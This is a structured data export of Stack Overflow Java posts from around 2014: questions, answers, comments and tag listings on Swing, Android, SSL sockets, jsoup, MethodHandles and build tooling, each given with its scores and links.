has body: I want to create a tree with given nodes and children. The required behavior is as follows: "when a node's checkbox is toggled, it's new value (checked/unchecked) should be reflected to all of it's descendants" Following is the full code, which is not giving expected behavior: public class CheckBoxTree { Map&lt;String, DefaultMutableTreeNode&gt; nodes = new HashMap&lt;String, DefaultMutableTreeNode&gt;(); public static void main(final String args[]) { final CheckBoxTree cbt = new CheckBoxTree(); DefaultMutableTreeNode root = cbt.addNodeWithoutCheckbox(null, "Select divisions"); DefaultMutableTreeNode nodeSTD1 = cbt.addNodeWithCheckbox(root, "STD1", false); cbt.nodes.put("STD1", nodeSTD1); DefaultMutableTreeNode nodeDiv1 = cbt.addNodeWithCheckbox(nodeSTD1, "DIV1", false); cbt.nodes.put("DIV1", nodeDiv1); DefaultMutableTreeNode nodeDiv2 = cbt.addNodeWithCheckbox(nodeSTD1, "DIV2", false); cbt.nodes.put("DIV2", nodeDiv2); root.add(nodeSTD1); DefaultMutableTreeNode nodeSTD2 = cbt.addNodeWithCheckbox(root, "STD2", false); cbt.nodes.put("STD2", nodeSTD2); DefaultMutableTreeNode nodeDiv3 = cbt.addNodeWithCheckbox(nodeSTD2, "DIV3", false); cbt.nodes.put("DIV3", nodeDiv3); DefaultMutableTreeNode nodeDiv4 = cbt.addNodeWithCheckbox(nodeSTD2, "DIV4", false); cbt.nodes.put("DIV4", nodeDiv4); root.add(nodeSTD2); final JTree tree = cbt.createCheckBoxTree(root); // show the tree onscreen final JFrame frame = new JFrame("CheckBox Tree"); JPanel panel = new JPanel(); panel.setLayout(new BorderLayout()); panel.add(tree, BorderLayout.CENTER); JButton button = new JButton("Submit"); panel.add(button, BorderLayout.SOUTH); final JScrollPane scrollPane = new JScrollPane(panel); frame.getContentPane().add(scrollPane, BorderLayout.CENTER); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setSize(300, 150); frame.setVisible(true); button.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent arg0) { /*TreePath[] selectionPaths = tree.getSelectionM…
answer count: 1
accepted answer: http://stackoverflow.com/a/22282031
score: 0
tagged with: treeview
tagged with: swing
tagged with: checkbox
type: AnsweredQuestion
tagged with: java
has title: checkbox tree not working as expected

http://stackoverflow.com/a/22309545
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22308836
answers question: http://stackoverflow.com/q/22308836
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Eclipse 3.4 is from many years ago (2008). Long before there was a 64-bit Java on Mac. So that native code is 32-bit and thus only works with a 32-bit Java VM. So, you cannot use 3.4 with Java 7 on Mac. You will need to use Java 6 for Mac: http://support.apple.com/kb/DL1572

http://stackoverflow.com/comment/33724706
type: QuestionComment
comment on: http://stackoverflow.com/q/22212564
has text: We need a lot more context in order to help you. We are all basically saying that there needs to be a loop terminator, but since your code is so abstract, we can't know how to implement it.
score: 0
type: Comment

http://stackoverflow.com/q/22316708
score: 0
tagged with: count
accepted answer: http://stackoverflow.com/a/22317245
type: AnsweredQuestion
tagged with: java
tagged with: set
has body: Sunny Hot High False No Overcast Hot High False Yes Rainy Mild High False Yes This is a sample of weather dataset. I need to get the count of the class label without storing them to list,array etc. While reading the line I should be able to get the NO and YES count. And the comparision cannot be jst no and yes . It can be any number of classes like iris dataset. Inorder to get the unique class label I used set Set&lt;String&gt; set = new HashSet&lt;String&gt;(); String classLabel = keys.substring(keys.lastIndexOf(" ") + 1); set.add(classLabel); so how will I get the count of each classlabel?
has title: Get count through iteration
has comment: http://stackoverflow.com/comment/33912726
has comment: http://stackoverflow.com/comment/33912529
type: Question
has comment: http://stackoverflow.com/comment/33912124
answer count: 1
has answer: http://stackoverflow.com/a/22317245

http://stackoverflow.com/comment/33903934
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22310143
score: 0
has text: I cannot tell you anything before I see the string. But either way, you cannot de-serialize it unless it;s valid json. IMHO the best (and maybe the only) thing you can do is to make this string valid json.

http://stackoverflow.com/comment/33725213
has text: click on detail and show it here.Also show class that you are trying to open in it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22212773
score: 0

http://stackoverflow.com/comment/33864020
comment on: http://stackoverflow.com/a/22289222
score: 0
type: Comment
has text: Cleaner is the wrong word. It's just closer to what I'd probably write myself, had I the mathematical experience/knowledge of you both. It seems like yours could *somehow* be reduced further, although I honestly couldn't say how. For example, why can't `(3 * (grid_idx / 3)` be reduced to just `grid_idx` (since 3*5/3 is, of course, 5). But I tried it and it doesn't work. This isn't a complaint, since your answer works flawlessly (and I bow down to your mad math skills), but it's just something that sticks out to me.
type: AnswerComment

http://stackoverflow.com/comment/33701361
has text: I think you are getting a String in which all entries of your array are printed. Maybe you want a hex ouput of your byte array?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22200216

http://stackoverflow.com/comment/33669370
type: QuestionComment
has text: In the real use case, assume V will be used.
comment on: http://stackoverflow.com/q/22181317
score: 0
type: Comment

http://stackoverflow.com/comment/33906962
type: AnswerComment
type: Comment
score: 1
has text: You can always add a failover (say, 4 times your maximum buffer) to distinguish between "this person accidentally sent too much data" and "this may be malicious". When you hit the malicious threshhold, throw an exception and do whatever security measure you think is necessary.
comment on: http://stackoverflow.com/a/22308612

http://stackoverflow.com/comment/87711946
comment on: http://stackoverflow.com/a/22396010
type: AnswerComment
score: 0
type: Comment
has text: With m10 it works, thank you! I used this link to download: http://central.maven.org/maven2/javax/ws/rs/javax.ws.rs-api/2.1/javax.ws.rs-api-2.1.jar

http://stackoverflow.com/a/22619511
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/107657023
has body: Apparently this isn't as straightforward as you might think, but there is a way. First of all, for menus (JMenu) there is a property which is controlled by the look and feel called Menu.shortcutKeyswhich you can set manually. This sets the mnemonic modifier for menus in the specific look and feel. If you want more information about this feel free to ask. In order to set the mnemonic modifier for everything, you need to override the default toolkit (Toolkit). First of all, run a main method to find what it is with the following lines System.out.println(System.getProperty("java.awt.headless")); System.out.println(System.getProperty("awt.toolkit")); If the first line is null of false (see java.awt.Toolkit getDefaultToolkit()) then the second line will give you the class name which is used as the default Toolkit for your system. I use Windows and the second line gives the output sun.awt.windows.WToolkit. Now create a class that overrides getFocusAcceleratorKeyMask in your default toolkit. For me it looks like this public class MyToolkit extends WToolkit { @Override public int getFocusAcceleratorKeyMask() { return InputEvent.CTRL_DOWN_MASK; } } Finally, we have to tell the system to use it. In your application, put the line System.setProperty("awt.toolkit", "packagename.MyToolkit"); where you need to set the correct package path to your class. Make sure this line is placed before starting any GUI related code, preferably in the first lines of main. This should now set CONTROL as the global mnemonic modifier (or use META_DOWN_MASK if that's what you want. Look at java.awt.event.InputEvent for MASK list.).
answers question: http://stackoverflow.com/q/22326098
downvote count: 0
type: Answer

http://stackoverflow.com/q/22216762
has answer: http://stackoverflow.com/a/22216823
tagged with: html-parsing
type: AnsweredQuestion
tagged with: java
has title: get src attribute inside div tag jsoup
has body: I am trying to parse the html but getting nullpointor. I want to extract image uri from the below html. String html = " "; Document document = Jsoup.parse(html); Element element = document.select("div.thumb-box thumb-160").first(); System.out.println(element.select("img").attr("src"));
type: Question
accepted answer: http://stackoverflow.com/a/22216823
tagged with: jsoup
answer count: 1
score: 0
has comment: http://stackoverflow.com/comment/33731500
has comment: http://stackoverflow.com/comment/33731543

http://stackoverflow.com/a/22257659
type: Answer
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/33807840
answers question: http://stackoverflow.com/q/22257598
accepted answer of: http://stackoverflow.com/q/22257598
has comment: http://stackoverflow.com/comment/33805684
upvote count: 3
has body: Of course this is bad. You are doing O(n^2) comparisons. For every word you are comparing with another word. You need to rethink your algorithm. Read all the stop words in to a HashSet&lt;String&gt; and then just check set.contains(word). This will improve your performance dramatically.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33805812

http://stackoverflow.com/q/22248762
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33789359
has answer: http://stackoverflow.com/a/22249096
tagged with: java
possible better answer: http://stackoverflow.com/a/22248954
type: Question
has answer: http://stackoverflow.com/a/22248966
favorite count: 0
has body: In my code below, I want a spinner style process dialog for 5 seconds after the user clicks "Check For Root". Basically after the user hits the button, the process dialog will say "Please wait..." for 5 seconds and then display the results. How do I do that ? Please help! Button Root = (Button) findViewById(R.id.Root); Root.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { if (RootTools.isAccessGiven()) { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setIcon(R.drawable.ic_launcher); builder.setTitle("Congratulations!"); builder.setMessage("You Have Root Access!"); builder.setPositiveButton("OKAY", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.cancel(); } }); AlertDialog dialog = builder.create(); dialog.show(); } else { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setIcon(R.drawable.ic_launcher); builder.setTitle("Oops!"); builder.setMessage("No Root Access!"); builder.setPositiveButton("OKAY", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.cancel(); } }); AlertDialog dialog = builder.create(); dialog.show(); } }
score: 0
answer count: 3
tagged with: android
has comment: http://stackoverflow.com/comment/33790168
has answer: http://stackoverflow.com/a/22248954
has title: How to add a spinner style process dialog for 5 seconds
accepted answer: http://stackoverflow.com/a/22249096
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/33960367
score: 0
has text: Hi nick. Your code not working man. It is going into Dataset and printing all the values, but when i am getting nextsibling individually it is not working. and the getnodename().equals("Model") also not working.
type: Comment
comment on: http://stackoverflow.com/a/22327385
type: AnswerComment

http://stackoverflow.com/comment/33904823
type: AnswerComment
comment on: http://stackoverflow.com/a/22312413
type: Comment
has text: please refer to my original question, Iam trying to use a string from shared preference
score: 0

http://stackoverflow.com/comment/33914611
has text: what are you trying to do ?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22318175

http://stackoverflow.com/comment/33811262
type: Comment
has text: Thanks. Unfortunately this did not fix my problem. But you did answer my question.
comment on: http://stackoverflow.com/a/22260238
type: AnswerComment
score: 0

http://stackoverflow.com/a/22280145
upvote count: 2
has comment: http://stackoverflow.com/comment/33846544
has comment: http://stackoverflow.com/comment/33846671
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33864654
has comment: http://stackoverflow.com/comment/33857223
has comment: http://stackoverflow.com/comment/33848825
has comment: http://stackoverflow.com/comment/33846637
accepted answer of: http://stackoverflow.com/q/22280066
has comment: http://stackoverflow.com/comment/33865025
has body: Your code makes no attempt to test whether the square root of the number is an integer. Any nonnegative real number is the square of some other real number; your code's result depends entirely on floating-point rounding behavior. Test whether the square root is an integer: if (Double.isInfinite(i)) { return false; } sqrt = Math.sqrt(i); return sqrt == Math.floor(sqrt) &amp;&amp; sqrt*sqrt == i; The sqrt*sqrt == i check should catch some cases where a number exceptionally close to a square has a square root whose closest double approximation is an integer. I have not tested this and make no warranties as to its correctness; if you want your software to be robust, don't just copy the code out of the answer. UPDATE: Found a failing edge case. If an integer double has a greatest odd factor long enough that the square is not representable, feeding the closest double approximation of the square to this code will result in a false positive. The best fix I can think of at the moment is examing the significand of the square root directly to determine how many bits of precision it would take to represent the square. Who knows what else I've missed, though?
has comment: http://stackoverflow.com/comment/33846896
has comment: http://stackoverflow.com/comment/33864837
answers question: http://stackoverflow.com/q/22280066
type: Answer
has comment: http://stackoverflow.com/comment/33846911
score: 2
has comment: http://stackoverflow.com/comment/33846851
has comment: http://stackoverflow.com/comment/33846576
downvote count: 0
has comment: http://stackoverflow.com/comment/33846969
has comment: http://stackoverflow.com/comment/33846642
has comment: http://stackoverflow.com/comment/33864760
has comment: http://stackoverflow.com/comment/33848713
has comment: http://stackoverflow.com/comment/33846816
has comment: http://stackoverflow.com/comment/33848031
has comment: http://stackoverflow.com/comment/33846998

http://stackoverflow.com/a/22266449
upvote count: 2
has comment: http://stackoverflow.com/comment/33821903
type: Answer
answers question: http://stackoverflow.com/q/22266249
has body: Using prefix operators is faster than using postfix. i.e ++i is faster than i++. For ++i, the value is increased and the new value is returned. For i++, the value is increased, but the old value is returned. The performance difference comes as the older value needs to be stored first.
score: 2
downvote count: 0

http://stackoverflow.com/a/22315015
type: AcceptedAnswer
has body: No, you won't get unexpected behaviour converting a byte between 0 and 15 into an int on different platforms. One of the strengths of Java is that it precisely defines what happens with such conversions, so that they are always platform independent.
type: Answer
accepted answer of: http://stackoverflow.com/q/22314600
answers question: http://stackoverflow.com/q/22314600
score: 0

http://stackoverflow.com/a/22270801
accepted answer of: http://stackoverflow.com/q/22270723
upvote count: 2
answers question: http://stackoverflow.com/q/22270723
has comment: http://stackoverflow.com/comment/33829274
type: AcceptedAnswer
has body: Your problem is that your method is declared to return Component type, and if you look in the API for this class, you'll see that it does not have a setToolTipText(...) method. This method begins in the JComponent class. One solution is to have the Map only collect JComponents and have the method declared to return this type. Incidentally, if you declare your Map with generic parameters, you won't have to do your cast. i.e., rather than this declaration, private HashMap componentMap; use, private HashMap&lt;String, Component&gt; componentMap; or if again if this will work for you: private HashMap&lt;String, JComponent&gt; componentMap;
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33829365
has comment: http://stackoverflow.com/comment/33829237

http://stackoverflow.com/comment/33889381
has text: I removed the recommendation with details. You can use even one detail. This is not important to have multiple details
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22303776

http://stackoverflow.com/comment/33758860
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22232168
has text: Or aspect oriented programming
score: 0

http://stackoverflow.com/comment/33843196
has text: so what is better to use in this type of program?
type: Comment
comment on: http://stackoverflow.com/a/22273133
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33817682
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22263500
has text: @Kojiro 1) Because I can use screen -x, and if it doesn't it sends `No screen session found.`. 2) Because when I enter the screen the output isn't there and the result of the java command doesn't exist.
type: Comment

http://stackoverflow.com/a/22230651
has comment: http://stackoverflow.com/comment/33889178
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/33827441
downvote count: 0
has comment: http://stackoverflow.com/comment/33949882
has comment: http://stackoverflow.com/comment/33845427
answers question: http://stackoverflow.com/q/22230300
score: 1
has body: Use AsyncTask/ExecutorService/Thread to make URl Connection android.os.NetworkOnMainThreadException

http://stackoverflow.com/comment/33807303
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22258330
score: 0
has text: I am updating my linked list in function update where if two images collide i remove one item from balloon list in function update as if: balloonList.set(bp, null); al.removeView(iv1);

http://stackoverflow.com/a/22210719
downvote count: 0
answers question: http://stackoverflow.com/q/22205629
type: Answer
score: 1
upvote count: 1
has body: Did you restart the server after making the package name change? Tomcat reads web.xml only on startup. Besides, make sure your classes are under webapps/WEB-INF/classes folder.

http://stackoverflow.com/comment/33902621
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22293789
type: Comment
has text: You are running into the limitations of using time-only, without dates and without time zones. Day-of-time-only is not usually what folks truly need, though naïve programmers may think so at first. That's why my answer said: `If you are certain you want to ignore dates and ignore time zones`. To answer your question, a hint: What is the result of ( 13 + 11 )?

onclicklistener
tag name: onclicklistener
tags question: http://stackoverflow.com/q/22242753
tags question: http://stackoverflow.com/q/22228090
tags question: http://stackoverflow.com/q/22206563
type: Tag

http://stackoverflow.com/a/22266539
has comment: http://stackoverflow.com/comment/33878503
has body: Intel Amplifier XE http://software.intel.com/en-us/intel-vtune-amplifier-xe has got low overhead if any noticeable. It uses stack sampling technology to minimize the impact and it can attach and detach to running non-stop processes in production. You even do not need to have sources during profiling, you can dive into sources later after offline performance results browsing.
upvote count: 4
downvote count: 0
score: 4
answers question: http://stackoverflow.com/q/22250303
type: Answer

http://stackoverflow.com/comment/33802865
comment on: http://stackoverflow.com/q/22256013
score: 5
has text: "*A colleague likes to make his local variables final. One of his reasons for doing so is performance.*" => that is not going to improve performance. So the rest of the discussion is unnecessary! It is a different story for fields: a final field is not the same as a non-final field.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22264821
has comment: http://stackoverflow.com/comment/33819272
has comment: http://stackoverflow.com/comment/33819256
type: Answer
answers question: http://stackoverflow.com/q/22264727
accepted answer of: http://stackoverflow.com/q/22264727
has comment: http://stackoverflow.com/comment/33819224
has body: Whenever you have a byte array that you want to store in a string, you should be Hex- or Base64-encoding the byte array (hex-encoding is probably better in this particular case). Apache commons-codec has a Hex class you can use for this: byte[] bytes = ... char[] encoded = Hex.encodeHex(bytes); String encodedString = new String(encoded);
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/34018191
has text: PleaseRefer this [link](http://stackoverflow.com/questions/3619796/how-to-read-a-properties-file-in-java-in-the-original-order)
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22323075

http://stackoverflow.com/q/22187355
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/22187706
favorite count: 0
has body: I am trying to write a simple SSLserver that listens to https-requests and prints a single line as a response. I have imported the correct certificate and all of that in my web browser and use -Djavax.net.ssl.keyStore= -Djavax.net.ssl.keyStorePassword= flags when starting the server. The problem I face is that I can send any String I can think of, except any that starts with 'h' or 'H'. When I connect with my browser, I get connection reset/rejected if the sent string starts with h but not otherwise. What could be the reason for this? I am thinking that it could have to do with the HTTPS protocol but I don't know why that would be. public class SecureSocketServer { private static int port = 8080; private static SSLServerSocket s; public static void main(String[] args) { try { SSLServerSocketFactory sslSrvFact; sslSrvFact = (SSLServerSocketFactory) SSLServerSocketFactory.getDefault(); s =(SSLServerSocket)sslSrvFact.createServerSocket(port); SSLSocket c = (SSLSocket)s.accept(); DataOutputStream out = new DataOutputStream(c.getOutputStream()); c.startHandshake(); //out.writeBytes("hello"); Does not work out.writeBytes("Yes, Hello"); Works out.flush(); c.close(); } catch (IOException e) { e.printStackTrace(); } }
has comment: http://stackoverflow.com/comment/33679596
has comment: http://stackoverflow.com/comment/33679559
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33679385
upvote count: 3
has title: Java: Can send any string over SSLSocket except for a string that begins with h/H
type: Question
has answer: http://stackoverflow.com/a/22187706
possible better answer: http://stackoverflow.com/a/22187743
score: 3
has answer: http://stackoverflow.com/a/22187743
tagged with: java
tagged with: ssl

http://stackoverflow.com/a/22302490
answers question: http://stackoverflow.com/q/22302319
score: 0
type: Answer
has body: Maybe JsonArray object is what you need. Check this for more examples.

http://stackoverflow.com/a/22198908
has comment: http://stackoverflow.com/comment/46797567
has comment: http://stackoverflow.com/comment/46799560
answers question: http://stackoverflow.com/q/22198729
score: 5
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You have to decide what you want: Container Manager Security (web.xml) or Spring Security (beans.xml). You should not use both. That's why you see two Basic realm names.
accepted answer of: http://stackoverflow.com/q/22198729
upvote count: 5
has comment: http://stackoverflow.com/comment/33700774

http://stackoverflow.com/comment/33892875
type: QuestionComment
score: 10
has text: Can you post the full error stack trace ?
comment on: http://stackoverflow.com/q/22305958
type: Comment

http://stackoverflow.com/q/22229497
has comment: http://stackoverflow.com/comment/33786711
answer count: 0
tagged with: java
upvote count: 1
downvote count: 1
has body: I recently set the Logger Settings better in my Glassfish. Now I have MySQL errors, because I use JPA, I don't know how to fix this errors. All similar questions react with SQL statements and because my JPA I needed a better solution than a SQL query. I need it to use the jdbcrealm security from glassfish The error that I get: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column 'NAME' in 'where clause' Do you need my classes to fix this? or my tables? I can try to supply all info needed. full stack: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column 'NAME' in 'where clause' at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:525) at com.mysql.jdbc.Util.handleNewInstance(Util.java:411) at com.mysql.jdbc.Util.getInstance(Util.java:386) at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:1053) at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:4120) at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:4052) at com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:2503) at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2664) at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2794) at com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:2155) at com.mysql.jdbc.PreparedStatement.executeQuery(PreparedStatement.java:2322) at com.sun.gjc.spi.jdbc40.PreparedStatementWrapper40.executeQuery(PreparedStatementWrapper40.java:642) at com.sun.enterprise.security.ee.auth.realm.jdbc.JDBCRealm.findGroups(JDBCRealm.java:514) at com.sun.enterprise.security.ee.auth.realm.jdbc.JDBCRealm.authenticate(JDBCRealm.java:325) at com.sun.enterprise.security.ee.auth.login.JDBCLoginModule.authenticate(JDBCLoginModule.java:78) at com.su…
type: Question
has comment: http://stackoverflow.com/comment/33755057
has comment: http://stackoverflow.com/comment/33760950
tagged with: glassfish
score: 0
tagged with: sql
tagged with: jpa
has comment: http://stackoverflow.com/comment/33756670
has comment: http://stackoverflow.com/comment/33755271
favorite count: 0
has comment: http://stackoverflow.com/comment/33754217
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33783746
tagged with: jdbc
has comment: http://stackoverflow.com/comment/33786377
has title: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column 'NAME' in 'where clause'

http://stackoverflow.com/comment/33907548
has text: http://stackoverflow.com/questions/10407159/android-how-to-manage-start-activity-for-result
type: AnswerComment
comment on: http://stackoverflow.com/a/22313806
score: 0
type: Comment

http://stackoverflow.com/q/22190518
type: Question
score: -1
upvote count: 0
answer count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/33688445
type: UnansweredQuestion
has title: Java - how to include the regex pattern in the character set validation error messages while doing XML import?
tagged with: java
has answer: http://stackoverflow.com/a/22197715
has body: While doing an Import of an XML, am getting the following validation error: "Error at line 5 column 76: The value 'nodecapacity' of attribute 'name' on element 'parameter' is not valid with respect to its type, 'name'" I am using a SAX Parser. Also, is there a way I can get the expected regex pattern to be displayed in the error message?
downvote count: 1
tagged with: import

http://stackoverflow.com/comment/33935281
comment on: http://stackoverflow.com/q/22200773
has text: Hibernate need to know the structure (partial/full) of the structure to work. If you are a student and your prof said: "Anything using hibernate, i dont care!", you shall change the prof.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33896542
comment on: http://stackoverflow.com/q/22307516
type: QuestionComment
has text: Please provide the full error output. As it stands, it's not clear where the message comes from. Also, do you have a `/usr/lib/jvm/default-java` directory or symlink? And how did you install Gradle?
score: 0
type: Comment

http://stackoverflow.com/comment/33687892
type: Comment
type: QuestionComment
has text: what do you mean by not working?
comment on: http://stackoverflow.com/q/22192414
score: 2

http://stackoverflow.com/comment/34109269
type: AnswerComment
has text: Udo Klimaschewski, You stated: "If I find some time, I will have a deeper look at it." Do you have some extra time to look at it. You're almost there, all we need to figure out is why does the %1 contain the path of the browser when it executes.
comment on: http://stackoverflow.com/a/22247841
type: Comment
score: 0

http://stackoverflow.com/q/22323959
has comment: http://stackoverflow.com/comment/33924541
tagged with: java
tagged with: save
type: Question
has answer: http://stackoverflow.com/a/22324214
has comment: http://stackoverflow.com/comment/33924523
has comment: http://stackoverflow.com/comment/33924372
has answer: http://stackoverflow.com/a/22324330
has title: save changes (permanently) in an arraylist?
tagged with: arraylist
has comment: http://stackoverflow.com/comment/33924333
score: 0
has body: Is that possible? Like for example, a user added a new item/element into the arraylist (bufferedreader process) and surely, there would be changes happen. My question is that is it possible that even if a user makes changes into the arraylist many times, it would just be permanently there even if they close the program and open it agan, it's s till there. Note: No usage of .txt Sorry for asking such question but I am really curious about it. Thank you!
accepted answer: http://stackoverflow.com/a/22324214
possible better answer: http://stackoverflow.com/a/22324082
has answer: http://stackoverflow.com/a/22324082
has answer: http://stackoverflow.com/a/22324223
answer count: 4
type: AnsweredQuestion

java.util.scanner
tags question: http://stackoverflow.com/q/22317056
tags question: http://stackoverflow.com/q/22289739
tags question: http://stackoverflow.com/q/22291083
tag name: java.util.scanner
tags question: http://stackoverflow.com/q/22200837
tags question: http://stackoverflow.com/q/22325005
tags question: http://stackoverflow.com/q/22263906
tags question: http://stackoverflow.com/q/22278160
tags question: http://stackoverflow.com/q/22246424
tags question: http://stackoverflow.com/q/22220933
type: Tag
tags question: http://stackoverflow.com/q/22237173
tags question: http://stackoverflow.com/q/22177316
tags question: http://stackoverflow.com/q/22185683
tags question: http://stackoverflow.com/q/22216545
tags question: http://stackoverflow.com/q/22295216
tags question: http://stackoverflow.com/q/22244069
tags question: http://stackoverflow.com/q/22238661
tags question: http://stackoverflow.com/q/22192365
tags question: http://stackoverflow.com/q/22286363
tags question: http://stackoverflow.com/q/22188725
tags question: http://stackoverflow.com/q/22186224
tags question: http://stackoverflow.com/q/22277051
tags question: http://stackoverflow.com/q/22288096

http://stackoverflow.com/a/22262859
answers question: http://stackoverflow.com/q/22262526
score: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33815792
accepted answer of: http://stackoverflow.com/q/22262526
downvote count: 0
type: Answer
upvote count: 2
has body: You are using recursion, which means that a function will call itself. So, if we trace what your function calls are when you call return, we will have something like that: IntegerFactorise.main() |-&gt; IntegerFactorise.findPrimeFactors(2639) |-&gt; IntegerFactorise.findPrimeFactors(377) |-&gt; IntegerFactorise.findPrimeFactors(29) -&gt; return true; So, when you return in the last findPrimeFactors(), you will only return from this call, not from all the stack of calls, and the execution of the previous findPrimeFactors() will continue just after the point where you called findPrimeFactors(). If you want to return from all the stack of calls, you have to modify your code to do something like that: else if(isPrimeNumber(i) &amp;&amp; num % i == 0) { primeFactors.add(i); return findPrimeFactors(num / i); } So that when the last findPrimeFactors() returns, all the previous findPrimeFactors() which called it will return too.

http://stackoverflow.com/a/58357569
upvote count: 5
downvote count: 0
answers question: http://stackoverflow.com/q/22267919
type: Answer
has body: Unlike other answers, I want to point another things; if you need to perform the iteration in more than one place in your code, you will likely end up duplicating the logic. This clearly isn’t a very extensible approach. Instead, what’s needed is a way to separate the logic for selecting the data from the code that actually processes it. An iterator solves these problems by providing a generic interface for looping over a set of data so that the underlying data structure or storage mechanism — such as an array- is hidden. Iterator is a concept not an implementation. An iterator provides a number of operations for traversing and accessing data. An iterator may wrap any datastructure like array. One of the more interesting and useful advantages of using iterators is the capability to wrap or decorate another iterator to filter the return values An iterator may be thread safe while a for loop alone cannot be as it is accessing elements directly. The only popular thread-safety iterator is CopyOnWriteArrayList but it is well known and used often so worth mentioning. This is from the book that it is https://www.amazon.com/Beginning-Algorithms-Simon-Harris/dp/0764596748
score: 5

http://stackoverflow.com/a/22321671
has comment: http://stackoverflow.com/comment/117079126
has body: Update: since some people started a pointless discussion about “how to benchmark” I will emphasize the solution to your problem contained in my answer, now right at the beginning: You can use invokeExact even in your reflective context where you don’t have the exact type signature by converting the MethodHandle using asType to a handle taking Object as arguments. In environments affected by the performance difference between invoke and invokeExact, using invokeExact on such a converting handle is still way faster than using invoke on a direct method handle. Original answer: The problem is indeed that you are not using invokeExact. Below is a little benchmark program showing the results of different ways of incrementing an int field. Using invoke instead of invokeExact leads to a performance drop below the speed of Reflection. You receive the WrongMethodTypeException because the MethodHandle is strongly typed. It expects an exact invocation signature matching type type of the field and owner. But you can use the handle to create a new MethodHandle wrapping the necessary type conversions. Using invokeExact on that handle using a generic signature (i.e. (Object,Object)Object) will be still way more efficient than using invoke with a dynamic type conversion. The results on my machine using 1.7.0_40 were: direct : 27,415ns reflection : 1088,462ns method handle : 7133,221ns mh invokeExact: 60,928ns generic mh : 68,025ns and using a -server JVM yields to a baffling direct : 26,953ns reflection : 629,161ns method handle : 1513,226ns mh invokeExact: 22,325ns generic mh : 43,608ns I don’t think that it has much real life relevance seeing a MethodHandle being faster than a direct operation but it proves that MethodHandles are not slow on Java7. And the generic MethodHandle will still outperform Reflection (whilst using invoke does not). import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.reflect.Field; public class FieldMethodHandle { …
downvote count: 2
has comment: http://stackoverflow.com/comment/33926334
has comment: http://stackoverflow.com/comment/117078871
upvote count: 21
has comment: http://stackoverflow.com/comment/33965671
has comment: http://stackoverflow.com/comment/33923042
has comment: http://stackoverflow.com/comment/33964246
type: Answer
has comment: http://stackoverflow.com/comment/33948860
has comment: http://stackoverflow.com/comment/33922090
answers question: http://stackoverflow.com/q/22244402
has comment: http://stackoverflow.com/comment/33925723
score: 19

http://stackoverflow.com/q/22191986
score: 4
tagged with: leiningen
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33688293
favorite count: 0
has answer: http://stackoverflow.com/a/22222935
has body: Some time ago, there were two versions of JDK installed on my PC (1.7.0_09 and 1.7.0_51). Then I uninstalled the former one. Now, when I try to run lein run (even with a dummy project) I get the following message: java.io.IOException: Cannot run program "C:\Program Files\Java\jdk1.7.0_09\bin\java.exe" (in directory "&lt;...&gt;"): CreateProcess error=2, The system cannot find the file specified What can I do to make lein use the right JDK? The JAVA_HOME and JDK_HOME variables are not set.
tagged with: clojure
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33690810
has title: Leiningen tries to call java.exe from a wrong/missing JDK
tagged with: java
has comment: http://stackoverflow.com/comment/33691844
